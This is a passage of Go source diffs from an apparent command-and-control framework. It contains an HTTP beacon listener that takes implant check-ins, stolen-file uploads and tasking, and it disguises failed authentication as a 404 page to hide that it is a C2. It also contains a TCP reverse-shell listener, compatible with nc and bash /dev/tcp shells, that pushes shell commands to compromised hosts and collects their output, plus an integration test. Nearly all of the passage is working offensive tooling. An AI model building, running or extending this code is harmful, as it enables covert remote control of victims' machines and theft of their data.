l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
}
|
||||
if err := l.manager.IngestTaskResult(report); err != nil {
|
||||
http.Error(w, "ingest result failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
resp := map[string]string{"ok": "1"}
|
||||
if l.isPlaintextClient(r) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(resp)
|
||||
} else {
|
||||
l.writeEncrypted(w, resp)
|
||||
}
|
||||
}
|
||||
|
||||
// handleUpload 实现 implant 主动上传文件给服务端(如 download 任务的二进制结果)。
|
||||
// Body 为 AES-GCM 加密后的 base64,与 check-in/result 保持一致的安全策略。
|
||||
func (l *HTTPBeaconListener) handleUpload(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
if !l.checkImplantToken(r) {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
taskID := r.URL.Query().Get("task_id")
|
||||
if taskID == "" {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, 256<<20))
|
||||
if err != nil {
|
||||
http.Error(w, "read failed", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
plaintext, err := DecryptAESGCM(l.rec.EncryptionKey, string(body))
|
||||
if err != nil {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
dir := filepath.Join(l.manager.StorageDir(), "uploads")
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
http.Error(w, "mkdir failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
dst := filepath.Join(dir, taskID+".bin")
|
||||
if err := os.WriteFile(dst, plaintext, 0o644); err != nil {
|
||||
http.Error(w, "save failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
l.writeEncrypted(w, map[string]interface{}{"ok": 1, "size": len(plaintext)})
|
||||
}
|
||||
|
||||
// handleFileServe 实现服务端 → implant 的文件下发(upload 任务用)。
|
||||
// 路径形如 /file/<task_id>,文件内容经 AES-GCM 加密后返回。
|
||||
func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
if !l.checkImplantToken(r) {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
prefix := l.cfg.BeaconFilePath
|
||||
taskID := strings.TrimPrefix(r.URL.Path, prefix)
|
||||
if taskID == "" || strings.Contains(taskID, "/") || strings.Contains(taskID, "\\") || strings.Contains(taskID, "..") {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
fpath := filepath.Join(l.manager.StorageDir(), "downstream", taskID+".bin")
|
||||
absPath, err := filepath.Abs(fpath)
|
||||
if err != nil {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
absDir, err := filepath.Abs(filepath.Join(l.manager.StorageDir(), "downstream"))
|
||||
if err != nil || !strings.HasPrefix(absPath, absDir+string(filepath.Separator)) {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
data, err := os.ReadFile(absPath)
|
||||
if err != nil {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
l.writeEncrypted(w, map[string]interface{}{
|
||||
"file_data": base64Encode(data),
|
||||
})
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// 鉴权 / 输出辅助
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
// checkImplantToken 校验 X-Implant-Token header(恒定时间比较防止时序攻击)
|
||||
func (l *HTTPBeaconListener) checkImplantToken(r *http.Request) bool {
|
||||
got := r.Header.Get("X-Implant-Token")
|
||||
if got == "" {
|
||||
got = r.Header.Get("Cookie") // 兼容 Malleable Profile 用 Cookie 携带
|
||||
}
|
||||
expected := l.rec.ImplantToken
|
||||
if got == "" || expected == "" {
|
||||
return false
|
||||
}
|
||||
return subtle.ConstantTimeCompare([]byte(got), []byte(expected)) == 1
|
||||
}
|
||||
|
||||
// disguisedReject 鉴权失败时返回 404,避免暴露 listener 是 C2
|
||||
func (l *HTTPBeaconListener) disguisedReject(w http.ResponseWriter) {
|
||||
w.Header().Set("Content-Type", "text/html; charset=utf-8")
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
_, _ = fmt.Fprint(w, "<html><body><h1>404 Not Found</h1></body></html>")
|
||||
}
|
||||
|
||||
// writeEncrypted JSON 序列化 + AES-GCM 加密 + 写回
|
||||
func (l *HTTPBeaconListener) writeEncrypted(w http.ResponseWriter, payload interface{}) {
|
||||
body, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
http.Error(w, "encode failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
enc, err := EncryptAESGCM(l.rec.EncryptionKey, body)
|
||||
if err != nil {
|
||||
http.Error(w, "encrypt failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
_, _ = w.Write([]byte(enc))
|
||||
}
|
||||
|
||||
// loadProfile loads Malleable Profile from DB if the listener has a profile_id configured
|
||||
func (l *HTTPBeaconListener) loadProfile() {
|
||||
if l.rec.ProfileID == "" {
|
||||
return
|
||||
}
|
||||
profile, err := l.manager.GetProfile(l.rec.ProfileID)
|
||||
if err != nil || profile == nil {
|
||||
l.logger.Warn("加载 Malleable Profile 失败,使用默认配置",
|
||||
zap.String("profile_id", l.rec.ProfileID), zap.Error(err))
|
||||
return
|
||||
}
|
||||
l.profile = profile
|
||||
l.logger.Info("Malleable Profile 已加载",
|
||||
zap.String("profile_id", profile.ID),
|
||||
zap.String("profile_name", profile.Name),
|
||||
zap.String("user_agent", profile.UserAgent))
|
||||
}
|
||||
|
||||
// withProfileHeaders wraps a handler to inject Malleable Profile response headers
|
||||
func (l *HTTPBeaconListener) withProfileHeaders(next http.HandlerFunc) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
if l.profile != nil && len(l.profile.ResponseHeaders) > 0 {
|
||||
for k, v := range l.profile.ResponseHeaders {
|
||||
w.Header().Set(k, v)
|
||||
}
|
||||
}
|
||||
next(w, r)
|
||||
}
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// TLS 自签证书(仅供测试 / Phase 2 默认行为)
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
func (l *HTTPBeaconListener) buildTLSConfig() (*tls.Config, error) {
|
||||
// 操作员显式提供证书 → 优先使用
|
||||
if l.cfg.TLSCertPath != "" && l.cfg.TLSKeyPath != "" {
|
||||
cert, err := tls.LoadX509KeyPair(l.cfg.TLSCertPath, l.cfg.TLSKeyPath)
|
||||
if err == nil {
|
||||
return &tls.Config{Certificates: []tls.Certificate{cert}, MinVersion: tls.VersionTLS12}, nil
|
||||
}
|
||||
l.logger.Warn("加载 TLS 证书失败,回退自签", zap.Error(err))
|
||||
}
|
||||
// 自签证书:CN 用 listener 名,避免重复
|
||||
cert, err := generateSelfSignedCert(l.rec.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &tls.Config{Certificates: []tls.Certificate{cert}, MinVersion: tls.VersionTLS12}, nil
|
||||
}
|
||||
|
||||
func generateSelfSignedCert(cn string) (tls.Certificate, error) {
|
||||
priv, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
|
||||
if err != nil {
|
||||
return tls.Certificate{}, err
|
||||
}
|
||||
serial, _ := rand.Int(rand.Reader, big.NewInt(1<<62))
|
||||
tmpl := &x509.Certificate{
|
||||
SerialNumber: serial,
|
||||
Subject: pkix.Name{CommonName: cn},
|
||||
NotBefore: time.Now().Add(-1 * time.Hour),
|
||||
NotAfter: time.Now().Add(365 * 24 * time.Hour),
|
||||
KeyUsage: x509.KeyUsageDigitalSignature,
|
||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
||||
IPAddresses: []net.IP{net.ParseIP("127.0.0.1")},
|
||||
DNSNames: []string{"localhost"},
|
||||
}
|
||||
der, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)
|
||||
if err != nil {
|
||||
return tls.Certificate{}, err
|
||||
}
|
||||
keyDER, err := x509.MarshalECPrivateKey(priv)
|
||||
if err != nil {
|
||||
return tls.Certificate{}, err
|
||||
}
|
||||
certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: der})
|
||||
keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})
|
||||
return tls.X509KeyPair(certPEM, keyPEM)
|
||||
}
|
||||
|
||||
func base64Encode(data []byte) string {
|
||||
return base64.StdEncoding.EncodeToString(data)
|
||||
}
|
||||
|
||||
func shortHash(s string) string {
|
||||
h := sha256.Sum256([]byte(s))
|
||||
return hex.EncodeToString(h[:6])
|
||||
}
|
||||
|
||||
// isPlaintextClient 判断请求是否来自明文客户端(curl oneliner 等)
|
||||
// 完整 beacon 二进制会设置 Content-Type: application/octet-stream
|
||||
func (l *HTTPBeaconListener) isPlaintextClient(r *http.Request) bool {
|
||||
ct := r.Header.Get("Content-Type")
|
||||
accept := r.Header.Get("Accept")
|
||||
return strings.Contains(ct, "application/json") ||
|
||||
strings.Contains(accept, "application/json") ||
|
||||
strings.Contains(r.UserAgent(), "curl/")
|
||||
}
|
||||
|
||||
// ApplyJitter 给定基础 sleep + jitter 百分比,返回随机抖动后的 duration
|
||||
// 公开给 listener_websocket / payload 模板共用,避免重复实现
|
||||
func ApplyJitter(baseSec, jitterPercent int) time.Duration {
|
||||
if baseSec <= 0 {
|
||||
return 0
|
||||
}
|
||||
if jitterPercent <= 0 {
|
||||
return time.Duration(baseSec) * time.Second
|
||||
}
|
||||
if jitterPercent > 100 {
|
||||
jitterPercent = 100
|
||||
}
|
||||
delta := mrand.Intn(2*jitterPercent+1) - jitterPercent // [-j, +j]
|
||||
factor := 1.0 + float64(delta)/100.0
|
||||
return time.Duration(float64(baseSec)*factor) * time.Second
|
||||
}
|
||||
@@ -0,0 +1,129 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// 集成验证:路由、鉴权伪装 404、明文 check-in JSON 回包。
|
||||
func TestHTTPBeaconListener_CheckInMatrix(t *testing.T) {
|
||||
tmp := t.TempDir()
|
||||
dbPath := filepath.Join(tmp, "c2.sqlite")
|
||||
db, err := database.NewDB(dbPath, zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = db.Close() })
|
||||
|
||||
lnPick, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
port := lnPick.Addr().(*net.TCPAddr).Port
|
||||
_ = lnPick.Close()
|
||||
|
||||
keyB64, err := GenerateAESKey()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
token := "test-implant-token-fixed"
|
||||
|
||||
lid := "l_testhttpbeacon01"
|
||||
rec := &database.C2Listener{
|
||||
ID: lid,
|
||||
Name: "t",
|
||||
Type: string(ListenerTypeHTTPBeacon),
|
||||
BindHost: "127.0.0.1",
|
||||
BindPort: port,
|
||||
EncryptionKey: keyB64,
|
||||
ImplantToken: token,
|
||||
Status: "stopped",
|
||||
ConfigJSON: `{"beacon_check_in_path":"/check_in"}`,
|
||||
CreatedAt: time.Now(),
|
||||
}
|
||||
if err := db.CreateC2Listener(rec); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
m := NewManager(db, zap.NewNop(), filepath.Join(tmp, "c2store"))
|
||||
m.Registry().Register(string(ListenerTypeHTTPBeacon), NewHTTPBeaconListener)
|
||||
if _, err := m.StartListener(lid); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = m.StopListener(lid) })
|
||||
|
||||
base := "http://127.0.0.1:" + strconv.Itoa(port)
|
||||
client := &http.Client{Timeout: 5 * time.Second}
|
||||
|
||||
t.Run("wrong_path_go_default_404", func(t *testing.T) {
|
||||
resp, err := client.Post(base+"/nope", "application/json", strings.NewReader(`{}`))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
b, _ := io.ReadAll(resp.Body)
|
||||
if resp.StatusCode != http.StatusNotFound {
|
||||
t.Fatalf("status=%d body=%q", resp.StatusCode, b)
|
||||
}
|
||||
if !strings.Contains(string(b), "404") || !strings.Contains(strings.ToLower(string(b)), "not found") {
|
||||
t.Fatalf("unexpected body: %q", b)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("check_in_wrong_token_disguised_html_404", func(t *testing.T) {
|
||||
req, _ := http.NewRequest(http.MethodPost, base+"/check_in", bytes.NewBufferString(`{"hostname":"h"}`))
|
||||
req.Header.Set("X-Implant-Token", "wrong-token")
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
b, _ := io.ReadAll(resp.Body)
|
||||
if resp.StatusCode != http.StatusNotFound {
|
||||
t.Fatalf("status=%d", resp.StatusCode)
|
||||
}
|
||||
ct := resp.Header.Get("Content-Type")
|
||||
if !strings.Contains(ct, "text/html") {
|
||||
t.Fatalf("content-type=%q body=%q", ct, b)
|
||||
}
|
||||
if !strings.Contains(string(b), "404 Not Found") {
|
||||
t.Fatalf("expected disguised HTML, got: %q", b)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("check_in_ok_plaintext_json", func(t *testing.T) {
|
||||
body := `{"hostname":"n","username":"u","os":"Linux","arch":"amd64","internal_ip":"10.0.0.1","pid":42}`
|
||||
req, _ := http.NewRequest(http.MethodPost, base+"/check_in", strings.NewReader(body))
|
||||
req.Header.Set("X-Implant-Token", token)
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
b, _ := io.ReadAll(resp.Body)
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", resp.StatusCode, b)
|
||||
}
|
||||
var out ImplantCheckInResponse
|
||||
if err := json.Unmarshal(b, &out); err != nil {
|
||||
t.Fatalf("json: %v body=%s", err, b)
|
||||
}
|
||||
if out.SessionID == "" || out.NextSleep <= 0 {
|
||||
t.Fatalf("bad response: %+v", out)
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,439 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// TCPReverseListener 监听 TCP 端口,等待目标机反弹连接。
|
||||
// 经典模式:纯交互式 raw shell,与 nc / bash -i >& /dev/tcp 兼容。
|
||||
// 二进制 Beacon:连接后先发送魔数 CSB1,随后使用与 HTTP Beacon 相同的 AES-GCM JSON 语义(成帧见 tcp_beacon_server.go)。
|
||||
// 每个新连接自动生成一个 implant_uuid(基于远端地址 + 启动时间 hash),登记为 c2_session;
|
||||
// 任务派发:使用同步 exec 模式 —— 收到 task 时直接 send 命令字节并读取输出(带结束标记)。
|
||||
type TCPReverseListener struct {
|
||||
rec *database.C2Listener
|
||||
cfg *ListenerConfig
|
||||
manager *Manager
|
||||
logger *zap.Logger
|
||||
|
||||
mu sync.Mutex
|
||||
listener net.Listener
|
||||
stopCh chan struct{}
|
||||
conns map[string]*tcpReverseConn // session_id → 连接
|
||||
stopOnce sync.Once
|
||||
}
|
||||
|
||||
// tcpReverseConn 单个反弹会话的运行时状态
|
||||
type tcpReverseConn struct {
|
||||
sessionID string
|
||||
conn net.Conn
|
||||
reader *bufio.Reader
|
||||
writeMu sync.Mutex // 序列化 write,避免并发 task 写入
|
||||
taskMode int32 // 原子标志: 0=空闲(handleConn读), 1=任务中(runTaskOnConn独占读)
|
||||
}
|
||||
|
||||
// NewTCPReverseListener 工厂方法(注册到 ListenerRegistry["tcp_reverse"])
|
||||
func NewTCPReverseListener(ctx ListenerCreationCtx) (Listener, error) {
|
||||
return &TCPReverseListener{
|
||||
rec: ctx.Listener,
|
||||
cfg: ctx.Config,
|
||||
manager: ctx.Manager,
|
||||
logger: ctx.Logger,
|
||||
stopCh: make(chan struct{}),
|
||||
conns: make(map[string]*tcpReverseConn),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Type 返回类型常量
|
||||
func (l *TCPReverseListener) Type() string { return string(ListenerTypeTCPReverse) }
|
||||
|
||||
// Start 启动 TCP 监听,accept 在独立 goroutine 中运行
|
||||
func (l *TCPReverseListener) Start() error {
|
||||
addr := fmt.Sprintf("%s:%d", l.rec.BindHost, l.rec.BindPort)
|
||||
ln, err := net.Listen("tcp", addr)
|
||||
if err != nil {
|
||||
if isAddrInUse(err) {
|
||||
return ErrPortInUse
|
||||
}
|
||||
return err
|
||||
}
|
||||
l.mu.Lock()
|
||||
l.listener = ln
|
||||
l.mu.Unlock()
|
||||
go l.acceptLoop()
|
||||
go l.taskDispatcherLoop()
|
||||
return nil
|
||||
}
|
||||
|
||||
// Stop 关闭监听 + 所有活动连接
|
||||
func (l *TCPReverseListener) Stop() error {
|
||||
l.stopOnce.Do(func() {
|
||||
close(l.stopCh)
|
||||
})
|
||||
l.mu.Lock()
|
||||
if l.listener != nil {
|
||||
_ = l.listener.Close()
|
||||
l.listener = nil
|
||||
}
|
||||
for sid, c := range l.conns {
|
||||
_ = c.conn.Close()
|
||||
delete(l.conns, sid)
|
||||
}
|
||||
l.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (l *TCPReverseListener) acceptLoop() {
|
||||
for {
|
||||
l.mu.Lock()
|
||||
ln := l.listener
|
||||
l.mu.Unlock()
|
||||
if ln == nil {
|
||||
return
|
||||
}
|
||||
conn, err := ln.Accept()
|
||||
if err != nil {
|
||||
select {
|
||||
case <-l.stopCh:
|
||||
return
|
||||
default:
|
||||
}
|
||||
if isClosedConnErr(err) {
|
||||
return
|
||||
}
|
||||
l.logger.Warn("tcp_reverse accept 失败", zap.Error(err))
|
||||
continue
|
||||
}
|
||||
go l.handleConn(conn)
|
||||
}
|
||||
}
|
||||
|
||||
// handleConn 一个连接=一个会话:先识别二进制 TCP Beacon(魔数 CSB1),否则走经典交互式 shell。
|
||||
func (l *TCPReverseListener) handleConn(conn net.Conn) {
|
||||
br := bufio.NewReader(conn)
|
||||
_ = conn.SetReadDeadline(time.Now().Add(20 * time.Second))
|
||||
prefix, err := br.Peek(4)
|
||||
if err == nil && len(prefix) == 4 && string(prefix) == tcpBeaconMagic {
|
||||
if _, err := br.Discard(4); err != nil {
|
||||
_ = conn.Close()
|
||||
return
|
||||
}
|
||||
_ = conn.SetReadDeadline(time.Time{})
|
||||
l.handleTCPBeaconSession(conn, br)
|
||||
return
|
||||
}
|
||||
_ = conn.SetReadDeadline(time.Time{})
|
||||
l.handleShellConn(conn, br)
|
||||
}
|
||||
|
||||
// handleShellConn 经典裸 TCP 反弹 shell(与 nc/bash /dev/tcp 兼容)。
|
||||
func (l *TCPReverseListener) handleShellConn(conn net.Conn, br *bufio.Reader) {
|
||||
remote := conn.RemoteAddr().String()
|
||||
host, _, _ := net.SplitHostPort(remote)
|
||||
// 用 listener+remote_ip 生成稳定 implant_uuid,使同一来源的重连复用同一会话
|
||||
uuidSeed := fmt.Sprintf("%s|%s", l.rec.ID, host)
|
||||
hash := sha256.Sum256([]byte(uuidSeed))
|
||||
implantUUID := hex.EncodeToString(hash[:8])
|
||||
|
||||
checkin := ImplantCheckInRequest{
|
||||
ImplantUUID: implantUUID,
|
||||
Hostname: "tcp_" + host,
|
||||
Username: "unknown",
|
||||
OS: "unknown",
|
||||
Arch: "unknown",
|
||||
InternalIP: host,
|
||||
SleepSeconds: 0, // 交互式不需要 sleep
|
||||
JitterPercent: 0,
|
||||
Metadata: map[string]interface{}{
|
||||
"transport": "tcp_reverse",
|
||||
"remote": remote,
|
||||
},
|
||||
}
|
||||
session, err := l.manager.IngestCheckIn(l.rec.ID, checkin)
|
||||
if err != nil {
|
||||
l.logger.Warn("tcp_reverse 登记会话失败", zap.Error(err))
|
||||
_ = conn.Close()
|
||||
return
|
||||
}
|
||||
|
||||
tc := &tcpReverseConn{
|
||||
sessionID: session.ID,
|
||||
conn: conn,
|
||||
reader: br,
|
||||
}
|
||||
l.mu.Lock()
|
||||
if old, exists := l.conns[session.ID]; exists {
|
||||
_ = old.conn.Close()
|
||||
}
|
||||
l.conns[session.ID] = tc
|
||||
l.mu.Unlock()
|
||||
|
||||
defer func() {
|
||||
l.mu.Lock()
|
||||
if cur, ok := l.conns[session.ID]; ok && cur == tc {
|
||||
delete(l.conns, session.ID)
|
||||
_ = l.manager.MarkSessionDead(session.ID)
|
||||
}
|
||||
l.mu.Unlock()
|
||||
_ = conn.Close()
|
||||
}()
|
||||
|
||||
// 主循环:检测连接存活 + 读取非任务期间的 unsolicited 输出
|
||||
// 注意:必须统一使用 tc.reader 读取,避免与 runTaskOnConn 的 bufio.Reader 产生数据分裂
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
select {
|
||||
case <-l.stopCh:
|
||||
return
|
||||
default:
|
||||
}
|
||||
// 任务执行中,runTaskOnConn 独占读取权,主循环暂停
|
||||
if atomic.LoadInt32(&tc.taskMode) == 1 {
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
_ = conn.SetReadDeadline(time.Now().Add(60 * time.Second))
|
||||
n, err := tc.reader.Read(buf)
|
||||
if n > 0 {
|
||||
// 收到数据也刷新心跳
|
||||
_ = l.manager.DB().TouchC2Session(session.ID, string(SessionActive), time.Now())
|
||||
if atomic.LoadInt32(&tc.taskMode) == 0 {
|
||||
l.manager.publishEvent("info", "task", session.ID, "",
|
||||
"stdout(unsolicited)", map[string]interface{}{
|
||||
"output": string(buf[:n]),
|
||||
})
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
if err == io.EOF || isClosedConnErr(err) {
|
||||
return
|
||||
}
|
||||
if ne, ok := err.(net.Error); ok && ne.Timeout() {
|
||||
// 读超时 = 连接仍存活但无数据,刷新心跳防止看门狗误判
|
||||
_ = l.manager.DB().TouchC2Session(session.ID, string(SessionActive), time.Now())
|
||||
continue
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// taskDispatcherLoop 周期扫描所有活动会话的任务队列,下发 exec/shell 类型的同步命令
|
||||
func (l *TCPReverseListener) taskDispatcherLoop() {
|
||||
t := time.NewTicker(500 * time.Millisecond)
|
||||
defer t.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-l.stopCh:
|
||||
return
|
||||
case <-t.C:
|
||||
l.mu.Lock()
|
||||
snapshot := make([]*tcpReverseConn, 0, len(l.conns))
|
||||
for _, c := range l.conns {
|
||||
snapshot = append(snapshot, c)
|
||||
}
|
||||
l.mu.Unlock()
|
||||
for _, c := range snapshot {
|
||||
envelopes, err := l.manager.PopTasksForBeacon(c.sessionID, 5)
|
||||
if err != nil || len(envelopes) == 0 {
|
||||
continue
|
||||
}
|
||||
for _, env := range envelopes {
|
||||
go l.runTaskOnConn(c, env)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// runTaskOnConn 把一条 task 转成 raw shell 命令发送,通过结束标记读输出
|
||||
func (l *TCPReverseListener) runTaskOnConn(c *tcpReverseConn, env TaskEnvelope) {
|
||||
startedAt := NowUnixMillis()
|
||||
cmd, ok := buildTCPCommand(TaskType(env.TaskType), env.Payload)
|
||||
if !ok {
|
||||
l.reportTaskResult(env.TaskID, startedAt, false, "", "tcp_reverse listener 不支持该任务类型: "+env.TaskType, "", "")
|
||||
return
|
||||
}
|
||||
|
||||
// 独占读取权:通知 handleConn 主循环暂停
|
||||
atomic.StoreInt32(&c.taskMode, 1)
|
||||
defer atomic.StoreInt32(&c.taskMode, 0)
|
||||
|
||||
// 等待 handleConn 循环退出读取(给 100ms 让正在进行的 Read 超时/完成)
|
||||
time.Sleep(150 * time.Millisecond)
|
||||
|
||||
// 排空 buffer 中残留的 bash 提示符等数据
|
||||
drainStaleData(c.reader, c.conn)
|
||||
|
||||
endMark := fmt.Sprintf("__C2_DONE_%s__", env.TaskID)
|
||||
wrapped := fmt.Sprintf("%s\necho %s\n", strings.TrimSpace(cmd), endMark)
|
||||
c.writeMu.Lock()
|
||||
_ = c.conn.SetWriteDeadline(time.Now().Add(15 * time.Second))
|
||||
if _, err := c.conn.Write([]byte(wrapped)); err != nil {
|
||||
c.writeMu.Unlock()
|
||||
l.reportTaskResult(env.TaskID, startedAt, false, "", "写命令失败: "+err.Error(), "", "")
|
||||
return
|
||||
}
|
||||
c.writeMu.Unlock()
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
|
||||
defer cancel()
|
||||
output, err := readUntilMarker(ctx, c.reader, endMark)
|
||||
if err != nil {
|
||||
l.reportTaskResult(env.TaskID, startedAt, false, output, "读取结果失败: "+err.Error(), "", "")
|
||||
return
|
||||
}
|
||||
cleaned := cleanShellOutput(output, cmd)
|
||||
l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "")
|
||||
}
|
||||
|
||||
// reportTaskResult 适配 Manager.IngestTaskResult,统一报告路径
|
||||
func (l *TCPReverseListener) reportTaskResult(taskID string, startedAtMS int64, success bool, output, errMsg, blobB64, blobSuffix string) {
|
||||
_ = l.manager.IngestTaskResult(TaskResultReport{
|
||||
TaskID: taskID,
|
||||
Success: success,
|
||||
Output: output,
|
||||
Error: errMsg,
|
||||
BlobBase64: blobB64,
|
||||
BlobSuffix: blobSuffix,
|
||||
StartedAt: startedAtMS,
|
||||
EndedAt: NowUnixMillis(),
|
||||
})
|
||||
}
|
||||
|
||||
// buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。
|
||||
// 仅支持 TCP 反弹模式可直接执行的最简任务类型;upload/download/screenshot 这些
|
||||
// 需要二进制传输的能力建议使用 http_beacon。
|
||||
func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) {
|
||||
switch t {
|
||||
case TaskTypeExec, TaskTypeShell:
|
||||
cmd, _ := payload["command"].(string)
|
||||
return cmd, true
|
||||
case TaskTypePwd:
|
||||
return "pwd 2>/dev/null || cd", true
|
||||
case TaskTypeLs:
|
||||
path, _ := payload["path"].(string)
|
||||
if strings.TrimSpace(path) == "" {
|
||||
path = "."
|
||||
}
|
||||
return "ls -la " + shellQuote(path), true
|
||||
case TaskTypePs:
|
||||
return "ps -ef 2>/dev/null || ps aux", true
|
||||
case TaskTypeKillProc:
|
||||
pid, _ := payload["pid"].(float64)
|
||||
if pid <= 0 {
|
||||
return "", false
|
||||
}
|
||||
return fmt.Sprintf("kill -9 %d", int(pid)), true
|
||||
case TaskTypeCd:
|
||||
path, _ := payload["path"].(string)
|
||||
if strings.TrimSpace(path) == "" {
|
||||
return "", false
|
||||
}
|
||||
return "cd " + shellQuote(path) + " && pwd", true
|
||||
case TaskTypeExit:
|
||||
return "exit 0", true
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// readUntilMarker 从 reader 持续读,直到匹配 endMarker;返回去掉标记后的输出
|
||||
func readUntilMarker(ctx context.Context, r *bufio.Reader, marker string) (string, error) {
|
||||
var sb strings.Builder
|
||||
buf := make([]byte, 4096)
|
||||
deadline := time.Now().Add(60 * time.Second)
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return sb.String(), ctx.Err()
|
||||
default:
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
return sb.String(), fmt.Errorf("timeout")
|
||||
}
|
||||
n, err := r.Read(buf)
|
||||
if n > 0 {
|
||||
sb.Write(buf[:n])
|
||||
if idx := strings.Index(sb.String(), marker); idx >= 0 {
|
||||
return strings.TrimRight(sb.String()[:idx], "\r\n"), nil
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
return sb.String(), err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func shellQuote(s string) string {
|
||||
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
|
||||
}
|
||||
|
||||
func isAddrInUse(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(strings.ToLower(err.Error()), "address already in use") ||
|
||||
strings.Contains(strings.ToLower(err.Error()), "bind: only one usage")
|
||||
}
|
||||
|
||||
func isClosedConnErr(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
es := err.Error()
|
||||
return strings.Contains(es, "use of closed network connection") ||
|
||||
strings.Contains(es, "connection reset by peer")
|
||||
}
|
||||
|
||||
// drainStaleData 用短超时读取并丢弃 buffer 中残留的 shell 提示符等数据
|
||||
